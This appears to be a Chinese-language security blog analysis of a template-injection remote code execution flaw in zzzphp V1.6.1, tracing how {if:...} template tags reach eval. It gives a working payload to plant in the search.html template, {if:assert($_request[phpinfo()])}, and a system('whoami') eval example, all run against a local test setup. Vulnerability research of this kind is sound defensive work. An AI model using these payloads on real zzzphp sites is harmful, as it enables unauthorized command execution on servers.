zzzphp V1.6.1 遠程代碼執行漏洞分析

  • 2020 年 3 月 26 日
  • 筆記

文章源自【位元組脈搏社區】-位元組脈搏實驗室

作者-sher10ck

這是一個通過模板來進行命令執行的一個例子,第一次遇到,很有趣。

漏洞復現

本地搭建好環境,登錄後台,找到模板管理–>模板管理:

然後找到cn2016/html/search.html(其實也就是網站下/zzzphp/template/pc/cn2016/html/search.html),將裏面的代碼修改或者添加:

{if:assert($_request[phpinfo()])}phpinfo();{end if}

然後我們再訪問 http://127.0.0.1/zzzphp/search/

看見phpinfo已經執行出來了,怎麼出來的,能夠怎麼利用,目前還不知道,跟蹤下源碼吧。

漏洞分析

原來的search.html長這個樣子。

首先我是跟蹤到了search/index.php:

然後引用了 /inc/zzz_client.php ,跟蹤下去

這裡又引用了 zzz_template.php, 還不確定,先看一下。

這個文件裏面有很多正則表達式,匹配了我們search.html中的{zzz:xxxx}

然後就一直往下看,在文件快結束的地方,找到了想要的代碼。

有了eval函數,看來基本上就是這裡了,接下來我們慢慢分析。

這裡為了方便,寫了一段測試代碼,來看一下匹配之後的內容

<?php  $zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';  $pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';  preg_match_all( $pattern, $zcontent, $matches);  var_dump($matches)  ?>

我們就曉得 $matches 變量的值了。

繼續看代碼

if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

$ifstr 變量的值為 $matches[ 1 ][ $i ],我們這裡也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])

然後繼續跟進,有一個cleft函數進行了處理,跟進:

這段代碼的意思就是去除掉兩邊的空格之後,取出我們的第一個字符。

我們這裡的 $ifstr 第一個字符 「{「 ,沒啥用,最後就是:

1

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

我們這裡吧 $ifstr 的值帶進去。

1

@eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' );

然後本地運行一下:

居然執行了~~~

神奇。

1

eval( 'if(system("whoami")){}else{}' );

看來裏面是條件語句判斷也行